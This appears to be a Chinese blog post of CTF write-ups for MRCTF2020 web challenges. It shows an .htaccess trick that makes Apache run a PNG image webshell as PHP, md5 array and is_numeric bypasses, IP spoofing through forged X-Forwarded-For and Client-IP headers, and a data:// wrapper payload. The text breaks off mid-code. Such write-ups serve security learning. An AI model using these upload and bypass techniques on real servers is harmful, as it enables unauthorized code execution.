学习链接:[CTF].htaccess的使用技巧总结
fuzz测试,发现过滤了php后缀,中间件是apache,可以上传png图片马。
思路:利用.htaccess来将png文件当作php文件解析
先上传.htaccess
文件,文件解析
AddType application/x-httpd-php .png
然后再上传一个png图片马
最后用蚁剑连接就可以啦!
[MRCTF2020]Ez_bypassinclude 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
第一个是一个md5比较,数组绕过
?gg[]=1&id[]=2
第二个is_numeric绕过,十六进制绕过、%00截断绕过、弱类型比较绕过均可
passwd=1234567a
[MRCTF2020]PYWebsite
F12查看源码
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
验证成功后要进入/flag.php
,尝试进入
嘿嘿,我们仔细读一读,猜测应该是要本地伪造
X-Forwarded-For: 127.0.0.1
F12
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
$_SERVER["QUERY_STRING"]
获取查询语句,获取的是?后面的值 $_SERVER["REQUEST_URI"]
获取 http://localhost 后面的值,包括/ $_SERVER["SCRIPT_NAME"]
获取当前脚本的路径,如:index.php $_SERVER["PHP_SELF"]
当前正在执行脚本的文件名
第一个if判断:php会把空格( )或者点(.)自动替换成下划线(_),可以绕过
第二个if判断:prep_match()正则匹配,在23333后面加%0A绕过
b.u.p.t=23333%0A
得到提示:FLAG is in secrettw.php
进入之后查看源码,发现有jsfuck,控制台运行后弹出post me Merak
随便post一个值就可以得到源码
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i
分析一下源码:
1.检测ip是否为本地ip
2.通过file_get_content函数将整个数据读入一个字符串中,但是后面的值使用的单引号,并且中间使用===来判断全等
3.加密参数,然后包含输出file参数的值
不难构造前两个
Client-IP: 127.0.0.1
?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
data://
协议具体用法点这里
至于第三个,我们根据它的解密算法来写出加密算法
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?